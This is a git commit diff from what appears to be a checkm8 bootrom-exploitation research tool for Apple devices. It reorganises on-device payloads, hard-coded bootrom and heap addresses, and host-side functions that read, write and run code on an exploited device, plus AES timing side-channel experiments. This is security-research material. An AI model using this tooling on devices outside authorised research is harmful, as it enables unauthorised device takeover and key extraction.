Restructured payloads into folders

add some addresses for tasking
fix a copy/paste bug
2020-03-12 12:58:50 -04:00 · 2020-03-12 12:58:19 -04:00 · 2020-03-11 13:20:40 -04:00 · 2020-03-10 20:31:31 -04:00 · 2020-03-10 20:31:03 -04:00 · 2020-03-07 18:44:13 -05:00
64 changed files with 3258 additions and 730 deletions
--- a/.gitignore
+++ b/.gitignore
@@ -1,9 +1,10 @@
 # configuration files
 .idea/*
+data/

 # build directories
 cmake-build-debug/
 /c8_arduino/cmake-build-debug/

 # generated files
-/c8_remote/include/libpayload.h
+/c8_remote/include/tool/libpayload.h
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -1,9 +1,11 @@
 cmake_minimum_required(VERSION 3.10)
 project(checkm8_tool)
-enable_language(C)
+enable_language(C ASM)

 include_directories(include)

-#add_subdirectory(c8_arduino)
+# set up checkm8_remote
 add_subdirectory(c8_remote)
-add_subdirectory(c8_libpayload)
+
+# targets for external tools
+add_subdirectory(tools)
--- a/c8_libpayload/pl/include/brfunc_aes.h
+++ b/c8_libpayload/pl/include/brfunc_aes.h
@@ -1,24 +0,0 @@
-#ifndef CHECKM8_TOOL_BRFUNC_AES_H
-#define CHECKM8_TOOL_BRFUNC_AES_H
-
-#include "brfunc_common.h"
-
-int aes_hw_crypto_cmd(unsigned long long cmd,
-                      unsigned char *src, unsigned char *dst,
-                      int len, unsigned long long opts,
-                      unsigned char *key, unsigned char *iv)
-{
-    return ((BOOTROM_FUNC) ADDR_AES_HW_CRYPTO_CMD)(cmd, src, dst, len, opts, key, iv);
-}
-
-#define CREATE_KEY_COMMAND          ((BOOTROM_FUNC) ADDR_CREATE_KEY_COMMAND)
-#define PUSH_COMMAND_KEY            ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_KEY)
-#define PUSH_COMMAND_IV             ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_IV)
-#define PUSH_COMMAND_DATA           ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_DATA)
-#define PUSH_COMMAND_FLAG           ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_FLAG)
-#define WAIT_FOR_COMMAND_FLAG       ((BOOTROM_FUNC) ADDR_WAIT_FOR_COMMAND)
-
-#define rAES_INT_STATUS             (long *) ADDR_AES_CONTROL
-#define rAES_CONTROL                (long *) ADDR_AES_STATUS
-
-#endif //CHECKM8_TOOL_BRFUNC_AES_H
--- a/c8_libpayload/pl/include/brfunc_common.h
+++ b/c8_libpayload/pl/include/brfunc_common.h
@@ -1,36 +0,0 @@
-#ifndef CHECKM8_TOOL_BRFUNC_COMMON_H
-#define CHECKM8_TOOL_BRFUNC_COMMON_H
-
-#include "checkm8_config.h"
-
-typedef int (*BOOTROM_FUNC)();
-
-#if CHECKM8_PLATFORM == 8010
-
-/* AES */
-#define ADDR_AES_HW_CRYPTO_CMD              0x100000f0c
-#define ADDR_CREATE_KEY_COMMAND             0x100000e90
-#define ADDR_PUSH_COMMAND_KEY               0x100000c64
-#define ADDR_PUSH_COMMAND_IV                0x100000d18
-#define ADDR_PUSH_COMMAND_DATA              0x100000d98
-#define ADDR_PUSH_COMMAND_FLAG              0x100000e20
-#define ADDR_WAIT_FOR_COMMAND               0x100000ec4
-
-#define ADDR_AES_CONTROL                    0x20A108008
-#define ADDR_AES_STATUS                     0x20A108018
-
-/* SEP */
-#define ADDR_DPA_SEEDED                     0x100001140
-#define ADDR_SEND_DPA_MESSAGE               0x100002338
-
-/* Timing */
-#define ADDR_CLOCK_GATE                     0x100009d4c
-#define ADDR_SYSTEM_TIME                    0x10000B0E0
-#define ADDR_TIME_HAS_ELAPSED               0x10000B04F
-#define ADDR_TASK_SLEEP                     0x10000ADF0
-
-#else
-#error "Unsupported checkm8 platform"
-#endif
-
-#endif //CHECKM8_TOOL_BRFUNC_COMMON_H
--- a/c8_libpayload/pl/include/brfunc_sep.h
+++ b/c8_libpayload/pl/include/brfunc_sep.h
@@ -1,9 +0,0 @@
-#ifndef CHECKM8_TOOL_BRFUNC_SEP_H
-#define CHECKM8_TOOL_BRFUNC_SEP_H
-
-#include "brfunc_common.h"
-
-#define DPA_SEEDED                  ((BOOTROM_FUNC) ADDR_DPA_SEEDED)
-#define SEP_CREATE_SEND_DPA_MESSAGE ((BOOTROM_FUNC) ADDR_SEND_DPA_MESSAGE)
-
-#endif //CHECKM8_TOOL_BRFUNC_SEP_H
--- a/c8_libpayload/pl/include/brfunc_timing.h
+++ b/c8_libpayload/pl/include/brfunc_timing.h
@@ -1,10 +0,0 @@
-#ifndef CHECKM8_TOOL_BRFUNC_TIMING_H
-#define CHECKM8_TOOL_BRFUNC_TIMING_H
-
-#include "brfunc_common.h"
-
-#define CLOCK_GATE                  ((BOOTROM_FUNC) ADDR_CLOCK_GATE)
-#define SYSTEM_TIME                 ((BOOTROM_FUNC) ADDR_SYSTEM_TIME)
-#define TIME_HAS_ELAPSED            ((BOOTROM_FUNC) ADDR_TIME_HAS_ELAPSED)
-
-#endif //CHECKM8_TOOL_BRFUNC_TIMING_H
--- a/c8_libpayload/pl/include/util.h
+++ b/c8_libpayload/pl/include/util.h
@@ -1,7 +0,0 @@
-#ifndef CHECKM8_TOOL_UTIL_H
-#define CHECKM8_TOOL_UTIL_H
-
-#define PAYLOAD_SECTION __attribute__ ((section (".payload_text")))
-#define TEXT_SECTION __attribute__((section (".text")))
-
-#endif //CHECKM8_TOOL_UTIL_H
--- a/c8_libpayload/pl/src/aes.c
+++ b/c8_libpayload/pl/src/aes.c
@@ -1,59 +0,0 @@
-#include "brfunc_aes.h"
-#include "brfunc_timing.h"
-#include "brfunc_sep.h"
-
-#include "util.h"
-
-PAYLOAD_SECTION
-int aes_hw_crypto_command(unsigned int cmd,
-                          void *src,
-                          void *dst,
-                          int len,
-                          unsigned int opts,
-                          void *key,
-                          void *iv)
-{
-    int seeded;
-    long cgvar;
-    long start = 0, timeout = 0;
-
-    __asm__("orr %0, xzr, #0x3c" : "=r" (cgvar));
-    CLOCK_GATE(cgvar, 0);
-
-//    seeded = DPA_SEEDED();
-//    if(!(seeded & 1))
-//    {
-//        SEP_CREATE_SEND_DPA_MESSAGE();
-//        start = SYSTEM_TIME();
-//
-//        while(!(seeded & 1) && !(timeout & 1))
-//        {
-//            seeded = DPA_SEEDED();
-//            timeout = TIME_HAS_ELAPSED(start, 1000);
-//        }
-//    }
-//
-//    if(timeout) return -1;
-
-    unsigned int key_command = CREATE_KEY_COMMAND(0, 0, 0, 0, 1, 0, 0, 0);
-    *rAES_INT_STATUS = 0x20;
-    *rAES_CONTROL = 1;
-
-    PUSH_COMMAND_KEY(key_command, key);
-    PUSH_COMMAND_IV(0, 0, 0, iv);
-    PUSH_COMMAND_DATA(0, 0, src, dst, len);
-    PUSH_COMMAND_FLAG(0, 1, 1);
-    WAIT_FOR_COMMAND_FLAG();
-
-    *rAES_CONTROL = 2;
-    CLOCK_GATE(cgvar, 0);
-    return 0;
-}
-
-TEXT_SECTION
-int _start(void *src,
-           void *dst,
-           void *key)
-{
-    return aes_hw_crypto_command(0, src, dst, 128, 0, key, 0);
-}
--- a/c8_libpayload/pl/src/aes_busy.c
+++ b/c8_libpayload/pl/src/aes_busy.c
@@ -1,25 +0,0 @@
-#include "util.h"
-#include "brfunc_aes.h"
-#include "brfunc_timing.h"
-
-
-TEXT_SECTION
-int _start(void *src, void *dst, void *key, int rep)
-{
-    int i, j;
-    unsigned char src_data[16];
-    for(j = 0; j < 16; j++)
-    {
-        src_data[j] = ((unsigned char *) src)[j];
-    }
-
-//    task_sleep(100);
-    for(i = 0; i < rep; i++)
-    {
-        if(i % 2 == 0) aes_hw_crypto_cmd(16, src_data, dst, 16, 0, key, 0);
-        else aes_hw_crypto_cmd(16, dst, src_data, 16, 0, key, 0);
- //       task_sleep(15);
-    }
-
-    return 0;
-}
--- a/c8_libpayload/pl/src/aes_sw.c
+++ b/c8_libpayload/pl/src/aes_sw.c
@@ -1,182 +0,0 @@
-#include "util.h"
-#include "brfunc_timing.h"
-
-PAYLOAD_SECTION
-void task_sleep(unsigned int usec)
-{
-    ((BOOTROM_FUNC) ADDR_TASK_SLEEP)(usec);
-}
-
-PAYLOAD_SECTION
-void sub_bytes(unsigned char block[16], unsigned char sbox[16][16])
-{
-    int i;
-    unsigned char val;
-
-    for(i = 0; i < 16; i++)
-    {
-        val = block[i];
-        block[i] = sbox[val >> 4u][val & 0xfu];
-    }
-}
-
-PAYLOAD_SECTION
-void shift_rows(unsigned char block[16])
-{
-    unsigned char temp1, temp2;
-
-    temp1 = block[0x1];
-    block[0x1] = block[0x5];
-    block[0x5] = block[0x9];
-    block[0x9] = block[0xd];
-    block[0xd] = temp1;
-
-    temp1 = block[0x2];
-    temp2 = block[0xe];
-    block[0x2] = block[0xa];
-    block[0xe] = block[0x6];
-    block[0xa] = temp1;
-    block[0x6] = temp2;
-
-    temp1 = block[0x3];
-    block[0x3] = block[0xf];
-    block[0xf] = block[0xb];
-    block[0xb] = block[0x7];
-    block[0x7] = temp1;
-}
-
-PAYLOAD_SECTION
-void mix_cols(unsigned char block[16],
-              unsigned char mul2_lookup[256], unsigned char mul3_lookup[256])
-{
-    unsigned char r0, r1, r2, r3;
-    int i;
-
-    for(i = 0; i < 4; i++)
-    {
-        r0 = block[4 * i];
-        r1 = block[4 * i + 1];
-        r2 = block[4 * i + 2];
-        r3 = block[4 * i + 3];
-
-        // no reason for the "+ 0" here but it makes the code look more lined up :)
-        block[4 * i + 0] = mul2_lookup[r0] ^ mul3_lookup[r1] ^ r2 ^ r3;
-        block[4 * i + 1] = r0 ^ mul2_lookup[r1] ^ mul3_lookup[r2] ^ r3;
-        block[4 * i + 2] = r0 ^ r1 ^ mul2_lookup[r2] ^ mul3_lookup[r3];
-        block[4 * i + 3] = mul3_lookup[r0] ^ r1 ^ r2 ^ mul2_lookup[r3];
-    }
-}
-
-PAYLOAD_SECTION
-void add_key(unsigned char block[16], unsigned char key[16])
-{
-    int i;
-    for(i = 0; i < 16; i++)
-    {
-        block[i] = block[i] ^ key[i];
-    }
-}
-
-PAYLOAD_SECTION
-void expand_key(unsigned char key[16], unsigned char key_sched[176], int n,
-                unsigned char sbox[16][16], unsigned char rc_lookup[11])
-{
-    int i, j, prev_key_base, key_base = 0;
-    unsigned char val;
-    for(i = 0; i < 16; i++)
-    {
-        key_sched[i] = key[i];
-    }
-
-    for(i = 1; i < n; i++)
-    {
-        prev_key_base = key_base;
-        key_base = 16 * i;
-
-        for(j = 0; j < 3; j++)
-        {
-            val = key_sched[prev_key_base + 13 + j];
-            key_sched[key_base + j] = sbox[val >> 4u][val & 0xfu];
-        }
-
-        val = key_sched[prev_key_base + 12];
-        key_sched[key_base + 3] = sbox[val >> 4u][val & 0xfu];
-
-        key_sched[key_base] ^= rc_lookup[i - 1];
-
-        for(j = 0; j < 4; j++)
-        {
-            key_sched[key_base + j] = key_sched[key_base + j] ^ key_sched[prev_key_base + j];
-        }
-
-        for(j = 4; j < 16; j++)
-        {
-            key_sched[key_base + j] = key_sched[key_base + j - 4] ^ key_sched[prev_key_base + j];
-        }
-    }
-}
-
-PAYLOAD_SECTION
-void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len, unsigned char key[16],
-                        unsigned char sbox[16][16], unsigned char rc_lookup[11],
-                        unsigned char mul2[256], unsigned char mul3[256])
-{
-    unsigned char key_sched[176];
-    expand_key(key, key_sched, 11, sbox, rc_lookup);
-
-    unsigned int num_blocks = msg_len / 16;
-    unsigned char *block;
-
-    unsigned int i, j;
-    for(i = 0; i < num_blocks; i++)
-    {
-        block = &msg[16 * i];
-        add_key(block, key_sched);
-
-        for(j = 0; j < 9; j++)
-        {
-            sub_bytes(block, sbox);
-            shift_rows(block);
-            mix_cols(block, mul2, mul3);
-            add_key(block, &key_sched[16 * (j + 1)]);
-            task_sleep(20);
-        }
-
-        sub_bytes(block, sbox);
-        shift_rows(block);
-        add_key(block, &key_sched[16 * (j + 1)]);
-    }
-}
-
-TEXT_SECTION
-unsigned int _start(unsigned char *msg, unsigned int msg_len, unsigned char *key,
-                    unsigned char sbox[16][16], unsigned char rc_lookup[11],
-                    unsigned char mul2[256], unsigned char mul3[256])
-{
-    unsigned long long start, end;
-
-    __asm__ volatile ("mrs %0, cntpct_el0" : "=r" (start));
-    aes128_encrypt_ecb(msg, msg_len, key, sbox, rc_lookup, mul2, mul3);
-    __asm__ volatile ("mrs %0, cntpct_el0" : "=r" (end));
-
-//    for(i = 0; i < 256; i++)
-//    {
-//        __asm__ volatile ("dc civac, %0" : : "r" (&sbox[i % 16][i / 16]) : "memory");
-//        __asm__ volatile ("dc civac, %0" : : "r" (&mul2[i]) : "memory");
-//        __asm__ volatile ("dc civac, %0" : : "r" (&mul3[i]) : "memory");
-//    }
-//
-//    for(i = 0; i < 16; i++)
-//    {
-//        __asm__ volatile ("dc civac, %0" : : "r" (&msg[i]) : "memory");
-//        __asm__ volatile ("dc civac, %0" : : "r" (&key[i]) : "memory");
-//    }
-//
-//    for(i = 0; i < 12; i++)
-//    {
-//        __asm__ volatile ("dc civac, %0" : : "r" (&rc_lookup[i]) : "memory");
-//    }
-//
-//    __asm__ volatile ("dsb sy");
-    return end - start;
-}
--- a/c8_libpayload/pl/src/sync.c
+++ b/c8_libpayload/pl/src/sync.c
@@ -1,10 +0,0 @@
-#include "util.h"
-
-TEXT_SECTION
-void _start()
-{
-    __asm__("dmb sy");
-    __asm__("ic iallu");
-    __asm__("dsb sy");
-    __asm__("isb");
-}
--- a/c8_libpayload/pl/src/sysreg.c
+++ b/c8_libpayload/pl/src/sysreg.c
@@ -1,17 +0,0 @@
-#include "util.h"
-
-struct sysregs
-{
-    long pt_base;
-    long evt_base;
-};
-
-TEXT_SECTION
-long long _start()
-{
-    struct sysregs res;
-    __asm__("mrs %0, ttbr0_el1" : "=r" (res.pt_base));
-    __asm__("mrs %0, vbar_el1"  : "=r" (res.evt_base));
-
-    return res.pt_base;
-}
--- a/c8_libpayload/pl/src/task_sleep_test.c
+++ b/c8_libpayload/pl/src/task_sleep_test.c
@@ -1,20 +0,0 @@
-#include "util.h"
-#include "brfunc_common.h"
-
-PAYLOAD_SECTION
-void task_sleep(unsigned int usec)
-{
-    ((BOOTROM_FUNC) ADDR_TASK_SLEEP)(usec);
-}
-
-TEXT_SECTION
-unsigned long long _start(unsigned int usec)
-{
-    unsigned long long start, end;
-
-    __asm__ volatile ("mrs %0, cntpct_el0" : "=r" (start));
-    task_sleep(usec);
-    __asm__ volatile ("mrs %0, cntpct_el0" : "=r" (end));
-
-    return end - start;
-}
--- a/c8_remote/CMakeLists.txt
+++ b/c8_remote/CMakeLists.txt
@@ -5,6 +5,8 @@ set(CMAKE_C_STANDARD 99)
 set(CMAKE_C_FLAGS "-g -Wall")

 include_directories(include)
+add_subdirectory(lib)

 add_executable(checkm8_remote main.c src/usb_helpers.c src/exploit.c src/payload.c src/command.c)
-target_link_libraries(checkm8_remote usb-1.0 pthread udev payload)
+target_link_libraries(checkm8_remote usb-1.0 pthread udev m)
+target_link_libraries(checkm8_remote payload experiments host_crypto)
--- a/c8_remote/include/checkm8.h
+++ b/c8_remote/include/checkm8.h
@@ -19,6 +19,7 @@
 #define DEV_IDVENDOR    0x05AC
 #define DEV_IDPRODUCT   0x1227
 #define DFU_IMAGE_BASE  0x1800B0000ull
+#define DEMOTE_REG      0x2102BC000ull

 #else
 #error "Unspported checkm8 platform"
@@ -35,7 +36,8 @@ struct pwned_device
    unsigned int idVendor;
    unsigned int idProduct;

-    struct payload *installed;
+    struct payload *inst_pl;
+    struct data *inst_data;

 #ifdef WITH_ARDUINO
    int ard_fd;
@@ -44,7 +46,25 @@ struct pwned_device
 #endif
 };

+struct dev_cmd_resp
+{
+    int ret;
+    unsigned long long magic;
+    unsigned long long retval;
+    unsigned char *data;
+    int len;
+};
+
 struct pwned_device *exploit_device();
 void free_device(struct pwned_device *dev);

+int demote_device(struct pwned_device *dev);
+int fix_heap(struct pwned_device *dev);
+
+int open_device_session(struct pwned_device *dev);
+int close_device_session(struct pwned_device *dev);
+int is_device_session_open(struct pwned_device *dev);
+
+void free_dev_cmd_resp(struct dev_cmd_resp *resp);
+
 #endif //CHECKM8_TOOL_CHECKM8_H
--- a/c8_remote/include/command.h
+++ b/c8_remote/include/command.h
@@ -1,26 +0,0 @@
-#ifndef CHECKM8_TOOL_COMMAND_H
-#define CHECKM8_TOOL_COMMAND_H
-
-#include "checkm8.h"
-
-#define CMD_USB_READ_LIMIT  0xFF0
-
-struct dev_cmd_resp
-{
-    int ret;
-    unsigned long long magic;
-    unsigned long long retval;
-    unsigned char *data;
-    int len;
-};
-
-struct dev_cmd_resp *dev_memset(struct pwned_device *dev, long long addr, unsigned char c, int len);
-struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, long long dest, long long src, int len);
-struct dev_cmd_resp *dev_exec(struct pwned_device *dev, int response_len, int nargs, unsigned long long *args);
-
-struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, long long addr, int len);
-struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, long long addr, unsigned char *data, int len);
-
-void free_dev_cmd_resp(struct dev_cmd_resp *resp);
-
-#endif //CHECKM8_TOOL_COMMAND_H
--- a/c8_remote/include/dev/addr.h
+++ b/c8_remote/include/dev/addr.h
@@ -0,0 +1,63 @@
+#ifndef CHECKM8_TOOL_ADDR_H
+#define CHECKM8_TOOL_ADDR_H
+
+#include "checkm8_config.h"
+#include "types.h"
+
+#if CHECKM8_PLATFORM == 8010
+
+/* Crypto */
+#define ADDR_HARDWARE_AES                   0x100000f0c
+#define ADDR_GET_RANDOM                     0x1000113e0
+#define ADDR_GET_ENTROPY                    0x1000013d4
+#define ADDR_SHA1                           0x10000cc90
+
+/* Timing */
+#define ADDR_CLOCK_GATE                     0x100009d4c
+#define ADDR_GET_TIME                       0x10000b0e0
+#define ADDR_GET_TICKS                      0x10000041c
+#define ADDR_TIMER_REGISTER_INT             0x10000b874
+#define ADDR_WFI                            0x1000004fc
+
+/* Tasking */
+#define ADDR_TASK_NEW                       0x10000a9ac
+#define ADDR_TASK_RUN                       0x10000ac18
+#define ADDR_TASK_PAUSE                     0x10000adf0
+#define ADDR_TASK_RESCHED                   0x10000aaa8
+#define ADDR_TASK_FREE                      0x10000aa20
+
+#define ADDR_EVENT_NEW                      0x10000aed4
+#define ADDR_EVENT_NOTIFY                   0x10000aee8
+#define ADDR_EVENT_WAIT                     0x10000af3c
+#define ADDR_EVENT_TRY                      0x10000af7c
+
+#define ADDR_BOOTSTRAP_TASK                 0x180080200
+
+/* Heap */
+#define ADDR_CALC_CHKSUM                    0x10000ee20
+#define ADDR_CHECK_BLOCK_CKSUM              0x10000f138
+#define ADDR_CHECK_ALL_CHKSUMS              0x10000f8b4
+
+#define ADDR_DEV_MALLOC                     0x10000efe0
+#define ADDR_DEV_MEMALIGN                   0x10000f380
+#define ADDR_DEV_FREE                       0x10000f1b0
+
+#define ADDR_HEAP_COOKIE                    0x180080640
+#define ADDR_HEAP_BASE                      0x1801b4000
+#define ADDR_HEAP_END                       0x1801fffc0
+
+/* Misc */
+#define ADDR_RANDOM_RET                     0x10000b924
+#define ADDR_SYNC_ENTRY                     0x1800afc84
+#define ADDR_GETDFU_EXIT                    0x1000006c8
+
+#define ADDR_DFU_RETVAL                     (int *)                 0x180088ac8
+#define ADDR_DFU_STATUS                     (unsigned char *)       0x180088ac0
+#define ADDR_DFU_EVENT                      (struct event *)        0x180088af0
+#define ADDR_USB_EVENT                      (struct event *)        0x1800838c8
+
+#else
+#error "Unsupported checkm8 platform"
+#endif
+
+#endif //CHECKM8_TOOL_ADDR_H
--- a/c8_remote/include/dev/types.h
+++ b/c8_remote/include/dev/types.h
@@ -0,0 +1,62 @@
+#ifndef CHECKM8_TOOL_TYPES_H
+#define CHECKM8_TOOL_TYPES_H
+
+struct event
+{
+    unsigned int dat0;
+    unsigned int dat1;
+    unsigned long long dat2;
+    unsigned long long dat3;
+} __attribute__ ((packed));
+
+struct aes_constants
+{
+    unsigned char sbox[16][16];
+    unsigned char mul2[256];
+    unsigned char mul3[256];
+    unsigned char rc_lookup[11];
+} __attribute__ ((packed));
+
+struct heap_header
+{
+    unsigned long long chksum;
+    unsigned long long pad[3];
+
+    unsigned long long curr_size;
+    unsigned long long curr_free : 1;
+
+    unsigned long long prev_free : 1;
+    unsigned long long prev_size : (sizeof(unsigned long long) * 8 - 2);
+
+    unsigned long long pad_start;
+    unsigned long long pad_end;
+} __attribute__ ((packed));
+
+struct bern_data
+{
+    double t[16][256];
+    double tsq[16][256];
+    double tnum[16][256];
+
+    unsigned long long count;
+    double ttotal;
+
+    struct event ev_data;
+    struct event ev_done;
+} __attribute__ ((packed));
+
+#define N_CORR_ENTRIES 1024*256
+
+struct corr_data
+{
+    struct event ev_cont;
+
+    int num_cutoff;
+    unsigned char msg[16];
+    unsigned char data[N_CORR_ENTRIES];
+};
+
+#define DEV_PTR_NULL       -1ull
+typedef unsigned long long DEV_PTR_T;
+
+#endif //CHECKM8_TOOL_TYPES_H
--- a/c8_remote/include/payload.h
+++ b/c8_remote/include/payload.h
@@ -1,30 +0,0 @@
-#ifndef CHECKM8_TOOL_PAYLOAD_H
-#define CHECKM8_TOOL_PAYLOAD_H
-
-#include "checkm8.h"
-
-typedef enum
-{
-    PAYLOAD_AES,
-    PAYLOAD_AES_BUSY,
-    PAYLOAD_AES_SW,
-    PAYLOAD_SYNC,
-    PAYLOAD_SYSREG,
-    PAYLOAD_TASK_SLEEP_TEST
-} PAYLOAD_T;
-
-typedef enum
-{
-    SRAM,
-    DRAM
-} LOCATION_T;
-
-int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc);
-int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p);
-struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int response_len, int nargs, ...);
-
-struct dev_cmd_resp *read_gadget(struct pwned_device *dev, long long addr, int len);
-struct dev_cmd_resp *write_gadget(struct pwned_device *dev, long long addr, unsigned char *data, int len);
-struct dev_cmd_resp *execute_gadget(struct pwned_device *dev, long long addr, int response_len, int nargs, ...);
-
-#endif //CHECKM8_TOOL_PAYLOAD_H
--- a/c8_remote/include/tool/command.h
+++ b/c8_remote/include/tool/command.h
@@ -0,0 +1,15 @@
+#ifndef CHECKM8_TOOL_COMMAND_H
+#define CHECKM8_TOOL_COMMAND_H
+
+#include "checkm8.h"
+
+#define CMD_USB_READ_LIMIT  0xFF0
+
+struct dev_cmd_resp *dev_memset(struct pwned_device *dev, unsigned long long addr, unsigned char c, int len);
+struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, unsigned long long dest, unsigned long long src, int len);
+struct dev_cmd_resp *dev_exec(struct pwned_device *dev, int response_len, int nargs, unsigned long long *args);
+
+struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, unsigned long long addr, int len);
+struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, unsigned long long addr, unsigned char *data, int len);
+
+#endif //CHECKM8_TOOL_COMMAND_H
--- a/c8_remote/include/tool/payload.h
+++ b/c8_remote/include/tool/payload.h
@@ -0,0 +1,43 @@
+#ifndef CHECKM8_TOOL_PAYLOAD_H
+#define CHECKM8_TOOL_PAYLOAD_H
+
+#include "checkm8.h"
+#include "dev/types.h"
+
+typedef enum
+{
+    PAYLOAD_AES_BUSY,
+    PAYLOAD_AES_SW_BERN,
+    PAYLOAD_AES_SW_CORR,
+    PAYLOAD_CACHELIB,
+    PAYLOAD_EXIT_USB_TASK,
+    PAYLOAD_FLOPPYSLEEP,
+    PAYLOAD_SYNC,
+} PAYLOAD_T;
+
+typedef enum
+{
+    SRAM,
+    DRAM
+} LOCATION_T;
+
+
+int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc);
+int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p);
+int uninstall_all_payloads(struct pwned_device *dev);
+DEV_PTR_T get_payload_address(struct pwned_device *dev, PAYLOAD_T p);
+
+struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int response_len, int nargs, ...);
+DEV_PTR_T setup_payload_async(struct pwned_device *dev, PAYLOAD_T p, int bufsize, int nargs, ...);
+int run_payload_async(struct pwned_device *dev, PAYLOAD_T p);
+int kill_payload_async(struct pwned_device *dev, PAYLOAD_T p, DEV_PTR_T buf_addr);
+
+DEV_PTR_T install_data(struct pwned_device *dev, LOCATION_T loc, unsigned char *data, int len);
+int uninstall_data(struct pwned_device *dev, DEV_PTR_T ptr);
+int uninstall_all_data(struct pwned_device *dev);
+
+struct dev_cmd_resp *read_gadget(struct pwned_device *dev, DEV_PTR_T addr, int len);
+struct dev_cmd_resp *write_gadget(struct pwned_device *dev, DEV_PTR_T addr, unsigned char *data, int len);
+struct dev_cmd_resp *execute_gadget(struct pwned_device *dev, DEV_PTR_T addr, int response_len, int nargs, ...);
+
+#endif //CHECKM8_TOOL_PAYLOAD_H
--- a/c8_remote/include/tool/usb_helpers.h
+++ b/c8_remote/include/tool/usb_helpers.h
@@ -15,10 +15,6 @@ struct libusb_device_bundle
 };
 #endif

-int open_device_session(struct pwned_device *dev);
-int close_device_session(struct pwned_device *dev);
-int is_device_session_open(struct pwned_device *dev);
-
 int partial_ctrl_transfer(struct pwned_device *dev,
                          unsigned char bmRequestType, unsigned char bRequest,
                          unsigned short wValue, unsigned short wIndex,
--- a/c8_remote/include/util/experiments.h
+++ b/c8_remote/include/util/experiments.h
@@ -0,0 +1,21 @@
+#ifndef CHECKM8_TOOL_EXPERIMENTS_H
+#define CHECKM8_TOOL_EXPERIMENTS_H
+
+#include "tool/payload.h"
+#include "dev/types.h"
+
+/* AES Software */
+DEV_PTR_T setup_bern_exp(struct pwned_device *dev);
+struct bern_data *get_bern_exp_data(struct pwned_device *dev, DEV_PTR_T async_buf);
+
+DEV_PTR_T setup_corr_exp(struct pwned_device *dev, unsigned char *init_key);
+struct corr_data *get_corr_exp_data(struct pwned_device *dev, DEV_PTR_T async_buf);
+
+/* System */
+void usb_task_exit(struct pwned_device *dev);
+
+/* Power */
+void floppysleep(struct pwned_device *dev);
+void floppysleep_async(struct pwned_device *dev);
+
+#endif //CHECKM8_TOOL_EXPERIMENTS_H
--- a/c8_remote/include/util/host_crypto.h
+++ b/c8_remote/include/util/host_crypto.h
@@ -0,0 +1,14 @@
+#ifndef CHECKM8_TOOL_HOST_CRYPTO_H
+#define CHECKM8_TOOL_HOST_CRYPTO_H
+
+#include "dev/types.h"
+
+void expand_key(unsigned char key[16], unsigned char key_sched[176],
+                int n, struct aes_constants *c);
+
+void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len,
+                        unsigned char key_sched[176], struct aes_constants *c);
+
+struct aes_constants *get_constants();
+
+#endif //CHECKM8_TOOL_HOST_CRYPTO_H
--- a/c8_remote/lib/CMakeLists.txt
+++ b/c8_remote/lib/CMakeLists.txt
@@ -1,33 +1,39 @@
-project(checkm8_libpayload)
-
 set(PL_NAMES
-        aes
-        aes_busy
-        aes_sw
-        sync
-        sysreg
-        task_sleep_test)
+        crypto:aes_busy
+        crypto:aes_sw_bern
+        crypto:aes_sw_corr
+
+        system:cachelib
+        system:exit_usb_task
+        system:init_sys
+        system:sync
+
+        power:floppysleep
+        )

 foreach(NAME ${PL_NAMES})
-    list(APPEND PL_TARGETS      "payload_${NAME}")
-    list(APPEND PL_SRC_BIN      "${CMAKE_CURRENT_LIST_DIR}/pl/src/${NAME}.c")
+    string(REGEX REPLACE "^[^:]*\\:(.*)$" "\\1" NAME_ONLY ${NAME})
+    list(APPEND PL_TARGETS      "payload_${NAME_ONLY}")
 endforeach(NAME)

+message("${PL_TARGETS}")
+
 foreach(TARGET ${PL_TARGETS})
-    list(APPEND PL_SRC_LIB      "${CMAKE_CURRENT_BINARY_DIR}/lib/${TARGET}.c")
-    list(APPEND PL_BIN          "${CMAKE_CURRENT_BINARY_DIR}/pl/bin/${TARGET}.bin")
+    list(APPEND PL_SRC_LIB      "${CMAKE_CURRENT_BINARY_DIR}/lib_cfiles/${TARGET}.c")
+    list(APPEND PL_BIN          "${CMAKE_CURRENT_BINARY_DIR}/payload/bin/${TARGET}.bin")
 endforeach(TARGET)

-add_subdirectory(pl)
+set(CMAKE_C_FLAGS "-g -Wall")
+add_subdirectory(${CMAKE_CURRENT_LIST_DIR}/payload)

-file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/lib)
+file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/lib_cfiles)
 add_custom_target(payload_sources
                    BYPRODUCTS  ${PL_SRC_LIB}
                    DEPENDS     ${PL_TARGETS}
                    COMMENT     "Refreshing payload library"
                    COMMAND     python3 ${CMAKE_CURRENT_LIST_DIR}/scripts/librarize.py
-                                        ${CMAKE_CURRENT_BINARY_DIR}/pl/bin
-                                        ${CMAKE_CURRENT_BINARY_DIR}/lib)
+                                        ${CMAKE_CURRENT_BINARY_DIR}/payload/bin
+                                        ${CMAKE_CURRENT_BINARY_DIR}/lib_cfiles)

 add_library(payload ${PL_SRC_LIB})
 add_dependencies(payload payload_sources)
@@ -35,5 +41,10 @@ add_dependencies(payload payload_sources)
 add_custom_command(TARGET       payload POST_BUILD
                    BYPRODUCTS  ${CMAKE_SOURCE_DIR}/c8_remote/include/libpayload.h
                    COMMAND     python3 ${CMAKE_CURRENT_LIST_DIR}/scripts/headerize.py
-                                        ${CMAKE_CURRENT_BINARY_DIR}/lib
-                                        ${CMAKE_SOURCE_DIR}/c8_remote/include)
+                                        ${CMAKE_CURRENT_BINARY_DIR}/lib_cfiles
